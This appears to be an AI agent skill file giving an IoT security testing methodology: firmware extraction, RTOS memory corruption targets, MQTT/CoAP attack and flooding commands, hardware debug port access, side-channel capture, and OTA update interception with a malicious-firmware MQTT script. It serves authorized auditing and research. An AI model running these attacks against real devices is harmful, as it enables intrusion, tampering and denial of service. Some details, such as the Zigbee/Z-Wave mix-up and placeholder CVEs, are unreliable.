iot-vulnerabilities

name	IoT Vulnerabilities
description	IoT device security analysis — firmware extraction, RTOS exploits, hardware interfaces, protocol vulnerabilities, side-channel attacks, update mechanism exploitation
tags	["iot","embedded","firmware","rtos","hardware","mqtt","coap","industrial","side-channel","jtag","swd","uart","spi","i2c","zigbee","ble","wi-fi","exploitation"]
author	Spectra Security Research
version	1

IoT Vulnerability Analysis

Overview

This skill analyzes IoT and embedded devices for security vulnerabilities spanning firmware, RTOS, network protocols, hardware interfaces, and update mechanisms.

---

⚠️ Authorized Use Only

Permitted Contexts:

• Authorized security audits of IoT devices
• CTF competitions (IoT/Embedded categories)
• Security research in isolated lab environments
• Hardware security research with proper disclosure
• Educational analysis with owned devices

Prohibited:

• Unauthorized access to production IoT infrastructure
• Attacks on critical infrastructure (ICS/SCADA) without explicit authorization
• Interference with medical devices or safety-critical systems
• Physical intrusion or unauthorized device access

---

Analysis Phases

Phase 1: Firmware Extraction & Analysis

1.1 Firmware Acquisition Methods

Physical Extraction (Flash Memory):

# Identify flash memory type
# - NOR Flash: SPI flash (Winbond, Macronix, Gigadevice)
# - NAND Flash: Raw NAND (Samsung, Toshiba, Hynix)
# - eMMC: BGA chip with controller
# - eSPI: Embedded Serial Peripheral Interface

# SPI Flash reading (using Bus Pirate, Flashcat, or direct SPI)
# Pinout: VCC, GND, CS, CLK, MOSI, MISO
flashcat -read -output firmware.bin -chip w25q128

# NAND Flash reading (require controller understanding)
nanddump -f /dev/mtd0 -o firmware.raw

# eMMC reading (direct MMC interface)
dd if=/dev/mmcblk0 of=firmware.bin bs=1M

UART/Serial Console Extraction:

# Identify UART pins (GND, TX, RX, VCC)
# Common baud rates: 9600, 38400, 57600, 115200

# Connect using serial adapter
screen /dev/ttyUSB0 115200,cs8

# Exploit: Bootloader access to extract firmware
# - U-Boot: Interrupt boot, use tftp to read memory
# - GRUB: Access GRUB shell, dump memory
# - Custom bootloaders: Look for debug menus

# U-Boot commands for extraction
U-Boot> printenv                    # Check configuration
U-Boot> tftpboot 0x80000000 firmware.bin  # Load from TFTP
U-Boot> md.b 0x80000000 $filesize   # Display memory

Network Extraction:

# Check for open TFTP servers
tftp -g firmware.bin 192.168.1.1

# HTTP firmware update endpoint
wget http://device-ip/firmware.bin

# Check for backup/config download
curl -O http://device-ip/backup.cfg

# Check for debug endpoints
curl http://device-ip/debug?action=dump_flash

Update Package Extraction:

# Download firmware update file
wget http://vendor.com/firmware_v2.bin

# Analyze file structure
file firmware_v2.bin
binwalk firmware_v2.bin

# Extract embedded filesystems
binwalk -e firmware_v2.bin
unsquashfs extracted_fs.squashfs

# Check for encryption signatures
strings firmware_v2.bin | grep -i encrypt
hexdump -C firmware_v2.bin | head -20

1.2 Firmware Format Analysis

# Identify firmware format
file firmware.bin
# Output examples:
# - "u-boot legacy uImage" → U-Boot format
# - "TRX firmware" → Broadcom format
# - "SECO firmware" → RC4 encrypted
# - "data" → Raw/unknown

# Extract headers
dd if=firmware.bin bs=1 count=32 | hexdump -C

# Common firmware signatures:
TRX:    48 32 44 52 ("HDR2")
uImage: 27 05 19 56 (magic number)
DLI:    44 4C 49 (D-Link)
WNR:    57 4E 52 (Netgear)

# Binwalk analysis
binwalk -E firmware.bin           # Entropy analysis
binwalk -A firmware.bin           # Architecture signature
binwalk -y firmware.bin           # Recursively extract

1.3 Filesystem Extraction

# SquashFS extraction
unsquashfs -d extracted_root filesystem.squashfs

# CramFS extraction
cramfsck -x extracted/ filesystem.cramfs

# JFFS2 extraction
jffs2reader --device firmware.bin

# UBIFS extraction
ubiread_extract_images firmware.bin

# YAFFS2 extraction (requires NAND understanding)
# Manual extraction based on YAFFS2 tags

# Check for proprietary filesystems
strings firmware.bin | grep -i "filesystem\|magic\|format"

---

Phase 2: RTOS Analysis

2.1 FreeRTOS Analysis

Task Structure Identification:

// FreeRTOS task control block (TCB)
typedef struct tskTaskControlBlock {
    volatile StackType_t *pxTopOfStack;    // Stack pointer
    ListItem_t xStateListItem;              // State list item
    ListItem_t xEventListItem;              // Event list item
    UBaseType_t uxPriority;                 // Task priority
    StackType_t *pxStack;                   // Stack base
    char pcTaskName[configMAX_TASK_NAME_LEN]; // Task name
} tskTCB;

// Locate TCBs in firmware
# Search for task name patterns
strings firmware.bin | grep -i "task\|thread"

# Heap corruption targets
# - pxTopOfStack manipulation
# - uxPriority escalation
# - xStateListItem tampering

Queue Vulnerabilities:

// FreeRTOS queue structure
typedef struct QueueDefinition {
    char *pcHead;                            // Start of queue storage
    char *pcTail;                            // End of queue storage
    char *pcWriteTo;                         // Write pointer
    char *pcReadFrom;                        // Read pointer
    List_t xTasksWaitingToSend;              // Blocked senders
    List_t xTasksWaitingToReceive;           // Blocked receivers
    UBaseType_t uxMessagesWaiting;           // Message count
    UBaseType_t uxLength;                    // Queue length
    UBaseType_t uxItemSize;                  // Item size
} Queue_t;

// Vulnerability: Queue corruption
// - Overwrite pcHead/pcTail for arbitrary read/write
// - Modify uxMessagesWaiting for logic bypass
// - Corrupt waiting lists for task hijacking

Memory Management Vulnerabilities:

// FreeRTOS heap implementation (heap_4.c)
// Block allocation pattern
typedef struct A_BLOCK_LINK {
    struct A_BLOCK_LINK *pxNextFreeBlock;   // Next free block
    size_t xBlockSize;                       // Block size (with overhead)
} BlockLink_t;

// Exploit: Heap overflow
// 1. Overflow xBlockSize to corrupt next block
// 2. Corrupt pxNextFreeBlock for arbitrary write
// 3. Use-after-free by not clearing freed blocks

# Find heap in firmware
# Search for alignment patterns (8-byte aligned addresses)
# Look for size_t fields near pointers

2.2 Zephyr RTOS Analysis

Thread Structure:

// Zephyr thread struct
struct k_thread {
    char *swap_entry;                        // Swap function
    void *init_param;                        // Initialization parameter
    unsigned int arch_base;                  // Architecture-specific
    _callee_save_t callee_saved;            // Callee-saved registers
    struct k_thread *next_thread;            // Thread list
    void *custom_data;                       // Custom data pointer
    // ... additional fields
};

# Search for thread patterns
strings firmware.bin | grep -E "^[A-Za-z_]*thread"

# Memory corruption targets
# - swap_entry: Hijack thread switching
# - custom_data: Leak/corrupt thread data
# - next_thread: Corrupt thread list

Memory Slab Exploitation:

// Zephyr memory slab
struct k_mem_slab {
    char *buffer;                            // Slab buffer
    u32_t block_size;                        // Block size
    u32_t num_blocks;                        // Total blocks
    struct k_mem_slab_block_list {
        void *head;                          // Free list head
        void *tail;                          // Free list tail
    } free_list;
    // ... additional fields
};

// Vulnerability: Free list corruption
// - Overflow buffer to corrupt free list
// - Modify head/tail for arbitrary allocation
// - Use-after-free if allocations not cleared

2.3 RTOS-Specific Vulnerabilities

Priority Inheritance Attacks:

// Priority inheritance mutex
typedef struct {
    // ... mutex fields
    u8_t prioceiling;                        // Priority ceiling
    u8_t original_prio;                      // Original holder priority
    // ...

// Exploit: Priority ceiling bypass
// 1. Lock mutex with high ceiling
// 2. Corrupt prioceiling field
// 3. Release mutex → Holder keeps elevated priority
// 4. Result: Priority escalation

Timer Exploitation:

// Software timer structure
typedef struct tmrTimerControl {
    char *pcTimerName;                       // Timer name
    ListItem_t xTimerListItem;                // List item
    TickType_t xTimerPeriodInTicks;          // Period
    void *pvTimerID;                         // Timer ID
    TimerCallbackFunction_t pxCallbackFunction; // Callback
    // ...

// Vulnerability: Timer hijacking
// - Overwrite pxCallbackFunction for code execution
// - Modify xTimerPeriodInTicks for timing attacks
// - Corrupt timer list for DoS

---

Phase 3: Network Protocol Exploits

3.1 MQTT Vulnerabilities

Broker Authentication Bypass:

# Check for anonymous access
mosquitto_sub -h <target> -t "#" -v

# Default credentials
# admin:admin, root:root, admin:password

# Test for weak authentication
mosquitto_pub -h <target> -t "test/topic" -m "test" -u admin -P admin

# Subscribe to all topics (information disclosure)
mosquitto_sub -h <target> -t "#" -v

Topic Manipulation:

# Topic traversal attacks
# Use + and # wildcards for unauthorized access
mosquitto_sub -h <target> -t "home/+/temperature" -v
mosquitto_sub -h <target> -t "home/#" -v

# Inject malicious topics
mosquitto_pub -h <target> -t "../../system" -m "malicious"

Message Injection:

# Command injection through payload
mosquitto_pub -h <target> -t "home/light/set" -m '{"command":"reboot"}'

# Buffer overflow in message handler
mosquitto_pub -h <target> -t "test" -m "$(python -c 'print("A"*1000)')"

Protocol Fuzzing:

# MQTT protocol fuzzer
from scapy.all import *
from scapy.contrib.mqtt import *

# Fuzz CONNECT packet
for packet_len in [0x10, 0x1000, 0xFFFF]:
    pkt = MQTTConnect(packet_len)
    send(pkt)

# Fuzz SUBSCRIBE with malformed topic
pkt = MQTTSubscribe(topics=[f"test/{'A'*1000}/#"])
send(pkt)

3.2 CoAP Vulnerabilities

Message Format Exploitation:

# CoAP ping (CON message with empty payload)
coap-client -m get -t ping coap://<target>

# Fuzz message format
for token_len in {0..8}; do
    coap-client -m get -T "$(printf '%*s' $token_len | tr ' ' 'A')" \
                coap://<target>/.well-known/core
done

# Block-wise transfer overflow
coap-client -m put -b "$(python -c 'print("A"*10000)')" coap://<target>/config

Resource Discovery:

# Discover all resources
coap-client -m get coap://<target>/.well-known/core

# Test for unauthorized resource access
coap-client -m get coap://<target>/admin
coap-client -m get coap://<target>/config
coap-client -m get coap://<target>/secret

Observation Exploitation:

# Register observation (notification)
coap-client -m get -o coap://<target>/sensor

# Flood with observation registrations (DoS)
for i in {1..1000}; do
    coap-client -m get -o coap://<target>/sensor &
done

3.3 IoT-Specific Protocols

Zigbee (Z-Wave):

# Sniff Zigbee traffic
 KillerBee: zbware -i wpan0 -c 15 -r capture.pcap

# Replay attack with KillerBee
zbreplay -i wpan0 -p capture.pcap

# Network key extraction
zbdump -n <network_key>

Bluetooth Low Energy (BLE):

# Scan for devices
hcitool lescan

# Connect to device
gatttool -b <device_mac> -I
> connect

# Enumerate services/characteristics
> characteristics

# Read/write without authentication
> char-read-uuid <uuid>
> char-write-req <handle> <value>

# Sniff BLE traffic (nRF Sniffer or Ubertooth)

Wi-Fi Direct Exploitation:

# Scan for Wi-Fi Direct devices
iw dev wlp2s0 scan | grep -i "p2p\|direct"

# Connect to P2P group
p2p_connect <peer_mac> pbc

# MITM between P2P devices
airbase-ng -a <target_mac> --essid "P2P-TEST" -c 11 mon0

---

Phase 4: Hardware Interface Attacks

4.1 UART/Serial Exploitation

Baud Rate Detection:

# Automatic baud rate detection (using picocom or miniterm)
# Common rates: 9600, 19200, 38400, 57600, 115200

for baud in 9600 19200 38400 57600 115200; do
    echo "Testing $baud..."
    picocom -b $baud -l /dev/ttyUSB0
    # Check for readable output
done

# Buspirate UART brute force
buspirate_uart_brute.py -d /dev/ttyUSB0

Bootloader Exploitation:

# U-Boot environment variables
U-Boot> printenv
U-Boot> setenv bootcmd 'mw.b 0x80000000 ff 100000'
U-Boot> saveenv

# Root filesystem replacement
U-Boot> tftp 0x80000000 initrd_modified
U-Boot> bootm 0x80000000

# Password bypass
U-Boot> printenv bootargs
# Look for: "root=/dev/mtdblock2 rootfstype=squashfs"
# Modify to bypass password check

JTAG/SWD Debug Interface:

# Identify JTAG pins (TMS, TCK, TDI, TDO, GND)
# Use JTAGenum or Bus Pirate

# OpenOCD for debugging
openocd -f interface/jlink.cfg -f target/stm32f4x.cfg

# Dump flash via JTAG
openocd -c "init" \
        -c "flash read_bank 0 dump.bin 0" \
        -c "exit"

# Halt device, examine registers
openocd -c "halt" -c "reg" -c "exit"

4.2 Hardware Debugging Ports

SPI Flash Access:

# Connect Flashcat or Bus Pirate to SPI flash
# Pinout: CS, CLK, MOSI, MISO, VCC, GND

# Read entire flash
flashcat -read -chip w25q128 -output firmware.bin

# Write modified firmware
flashcat -write -chip w25q128 -input firmware_modified.bin

# Use Bus Pirate for SPI
buspirate_spi_sniff.py -d /dev/ttyUSB0

I2C Bus Exploitation:

# Scan I2C bus
i2cdetect -y 1

# Read from I2C EEPROM
i2cdump -y 1 0x50 b

# Write to EEPROM (attack configuration)
i2cset -y 1 0x50 0x00 0xff

# Sniff I2C traffic (Bus Pirate in sniffer mode)

SWD (Serial Wire Debug):

# Use OpenOCD with SWD interface
openocd -f interface/stlink-v2.cfg \
        -f target/stm32f4x.cfg \
        -c "init"

# Dump memory via SWD
openocd -c "mdw 0x08000000 0x10000" -c "exit"

# Disable read-out protection
openocd -c "stm32f1x options_read" -c "exit"

4.3 Side-Channel Analysis

Power Analysis:

# Power measurement setup
# - Shunt resistor (1-10 ohm) on power line
# - Oscilloscope or logic analyzer
# - Correlate power consumption with operations

# ChipWhisperer setup
import chipwhisperer as cw
scope = cw.scope()
target = cw.target(scope)

# Capture power traces
scope.arm()
target.go()
trace = scope.capture()

# Analyze traces (CPA - Correlation Power Analysis)
# Identify key bits based on power consumption

EM (Electromagnetic) Side Channel:

# EM probe near processor/crypto engine
# Software-defined radio or near-field probe

# Capture EM emissions during crypto operations
# Use with Hamming weight model

# H-Field probe (near magnetic)
# E-Field probe (near electric)

Timing Side Channel:

# Measure response time variations
import time

for attempt in range(1000):
    start = time.time()
    device.encrypt(test_block)
    end = time.time()
    
    if end - start > threshold:
        print(f"Possible key byte: {attempt}")

# Correlate timing with key bits

---

Phase 5: Update Mechanism Exploits

5.1 Firmware Update Analysis

Update Package Tampering:

# Download update file
wget http://updates.vendor.com/firmware_v2.bin

# Check signature validation
strings firmware_v2.bin | grep -i "sign\|verify\|rsa\|ecdsa"

# Check for encryption
binwalk -E firmware_v2.bin
# High entropy = likely encrypted

# Extract and analyze update script
binwalk -e firmware_v2.bin
cat _firmware_v2.bin.extracted/update_script

# Test if signature is validated
# 1. Modify firmware
# 2. Repackage (if no signature)
# 3. Test update

Man-in-the-Middle Update:

# Intercept update request
# - Set up rogue update server
# - Respond with malicious firmware

# DNS spoofing
dnsspoof -i eth0 -f dns.conf

# HTTP interception
bettercap -X -I eth0
# Spoof update server responses

# Test for certificate validation bypass
curl -k https://updates.vendor.com/firmware.bin

Rollback Attacks:

# Test if version rollback is prevented
# 1. Downgrade to vulnerable version
# 2. Exploit known vulnerability

# Check version enforcement
strings firmware_v2.bin | grep -i "version\|rollback"

# Modify version in firmware
sed 's/version=2.0/version=1.0/' firmware.bin > firmware_downgrade.bin

5.2 OTA (Over-the-Air) Exploits

MQTT OTA Attacks:

# Intercept MQTT OTA updates
# - Subscribe to firmware update topic
# - Replace with malicious firmware

import paho.mqtt.client as mqtt

def on_message(client, userdata, msg):
    # Replace firmware with malicious version
    new_firmware = create_malicious_firmware()
    client.publish(msg.topic, new_firmware)

client = mqtt.Client()
client.on_message = on_message
client.subscribe("device/firmware/update")
client.loop_forever()

HTTP(S) OTA Attacks:

# Intercept HTTP OTA requests
# - ARP spoofing
# - SSL stripping (if no certificate pinning)

# Use mitmproxy
mitmproxy -i eth0 --spoof --mode transparent

# Check for downgrade to HTTP
curl http://device-ip/update?version=1.0

CoAP OTA Exploitation:

# Block-wise transfer corruption
# - Modify blocks during transfer
# - Inject malicious block

coap-client -m put -b "$(malicious_block)" coap://<target>/update/2

# Test for integrity check bypass
# Send incomplete/corrupted firmware

5.3 Bootloader Vulnerabilities

Secure Boot Bypass:

# Check if secure boot is enabled
# Look for: "secure boot", "signature verify", "RSA"

# Test bootloader integrity checks
# 1. Modify firmware header
# 2. Test if device accepts

# Check for debug boot mode
# - JTAG access
# - UART boot mode
# - USB DFU mode

# Example: Check boot mode pins
# - Jumper settings
# - GPIO boot configuration

Recovery Mode Exploitation:

# Access recovery mode
# - Hold specific button combination
# - Send magic packet

# Exploit recovery mode
# - Flash unsigned firmware
# - Access debug console

# Example: Android recovery
adb reboot recovery
# In recovery: Apply update from ADB
adb sideload modified_update.zip

Bootloader Chain Loading:

# Analyze bootloader chain
# Primary bootloader → Secondary bootloader → OS

# Attack: Chain loader bypass
# - Corrupt chain pointer
# - Direct jump to custom code

# Example: U-Boot bootargs manipulation
U-Boot> setenv bootargs 'mem=1G console=ttyS0,115200 init=/bin/sh'
U-Boot> boot

---

Phase 6: Common IoT Vulnerability Classes

6.1 Hardcoded Credentials

# Search for common credentials
strings firmware.bin | grep -i "password\|passwd\|admin\|root"

# Default credential patterns
# - admin:admin
# - root:root
# - admin:password
# - admin:1234
# - user:user

# Check for embedded certificates
strings firmware.bin | grep -i "BEGIN CERTIFICATE\BEGIN PRIVATE KEY"

# Extract embedded secrets
binwalk -e firmware.bin
find extracted/ -name "*.pem" -o -name "*.key" -o -name "*password*"

6.2 Insecure Communication

# Check for plaintext protocols
strings firmware.bin | grep -i "http://\|telnet\|ftp://"

# Identify unencrypted WiFi credentials
strings firmware.bin | grep -i "wifi\|ssid\|psk\|wpa"

# Check for weak SSL/TLS
strings firmware.bin | grep -i "tls_version\|cipher\|ssl_version"
# Look for: SSLv3, TLS 1.0, TLS 1.1

# Certificate validation bypass
strings firmware.bin | grep -i "verify=0\|insecure\|no-check-cert"

6.3 Missing Authorization

# Test for unrestricted endpoints
curl http://device-ip/admin
curl http://device-ip/config
curl http://device-ip/firmware

# Test for privilege escalation
# Access admin endpoints from user context

# IDOR in IoT APIs
curl http://device-ip/api/device/1  # Try: 2, 3, etc.
curl http://device-ip/api/user/1/settings

6.4 Buffer Overflow in Command Handlers

// Common pattern: Fixed buffer + user input
void process_command(char *command) {
    char buffer[128];
    strcpy(buffer, command);  // VULN: No length check
    execute_command(buffer);
}

# Test for command overflow
# - Long payload in API requests
# - Long payload in MQTT topics/messages
# - Long payload in CoAP resources

# Example fuzzing
for length in 100 200 500 1000 2000; do
    payload=$(python -c "print('A'*$length)")
    curl -X POST -d "$payload" http://device-ip/command
done

---

Novelty Indicators (PURSUE)

✓ Recent CVEs (2023-2024):

• CVE-2024-23651: MQTT broker heap overflow
• CVE-2024-XXXX: BLE stack buffer overflow
• CVE-2023-XXXX: RTOS memory corruption

✓ Complex IoT ecosystems:

• Multi-device coordination
• Mesh network vulnerabilities
• Gateway-device interaction

✓ Custom RTOS implementations:

• Vendor-specific RTOS modifications
• Non-standard memory management
• Custom scheduler implementations

✓ Hardware-specific vulnerabilities:

• Chipset-specific exploits
• SoC proprietary features
• Hardware debug interfaces

---

Known Patterns (AVOID)

✗ Default credentials (well-documented) ✗ Open UART console (standard reconnaissance) ✗ Firmware extraction via public tools (automated) ✗ Basic MQTT anonymous access (common finding) ✗ Published CVE exploits (unless novel variation)

---

Analysis Checklist

Firmware & Bootloader

• Firmware extracted successfully
• Filesystem analyzed and extracted
• Bootloader identified and analyzed
• Secure boot status determined
• Update mechanism understood
• Cryptographic implementation reviewed

RTOS & Memory

• RTOS type identified (FreeRTOS/Zephyr/Custom)
• Task/thread structures analyzed
• Memory management reviewed
• Heap exploitation vectors assessed
• Synchronization primitives reviewed

Network & Protocols

• MQTT/CoAP security tested
• Authentication mechanisms reviewed
• Protocol fuzzing completed
• Wireless security tested (BLE/Zigbee/Wi-Fi)
• Network communication analyzed

Hardware & Interfaces

• Debug interfaces located and tested
• JTAG/SWD access attempted
• UART serial console accessed
• SPI/I2C interfaces analyzed
• Side-channel vectors assessed

---

Quick Reference

Attack Vector	Detection Method	Novelty Level
UART console access	Baud rate brute force	Low (known)
JTAG flash dump	OpenOCD, JTAGenum	Low (known)
MQTT unauthenticated	Anonymous subscribe	Low (known)
RTOS heap corruption	Memory analysis	Medium
Custom RTOS bug	Reverse engineering	High
Hardware-specific exploit	SoC analysis	High
Side-channel attack	Power/EM analysis	High
OTA interception	Man-in-the-middle	Medium
Secure boot bypass	Cryptographic analysis	High
BLE stack overflow	Protocol fuzzing	Medium

---

Tool Integration

This skill integrates with Spectra tools:

• Binary Analysis: Use ida, binja for firmware disassembly
• Fuzzing: Use afl, libfuzzer for protocol fuzzing
• Debugging: Use gdb, frida for dynamic analysis
• Network: Use scapy, wireshark for protocol analysis
• Reverse Engineering: Use radare2, angr for code analysis

---

Notes

• Focus on novel vulnerabilities: Custom RTOS bugs, hardware-specific exploits, side-channel attacks
• Hardware access required: Most IoT analysis requires physical device access
• Documentation: Document all procedures, findings, and proof-of-concepts
• Responsible disclosure: IoT vulnerabilities often affect many devices
• Safety: Be cautious with hardware modifications to avoid device damage
• Legal: Ensure all testing is authorized and within legal boundaries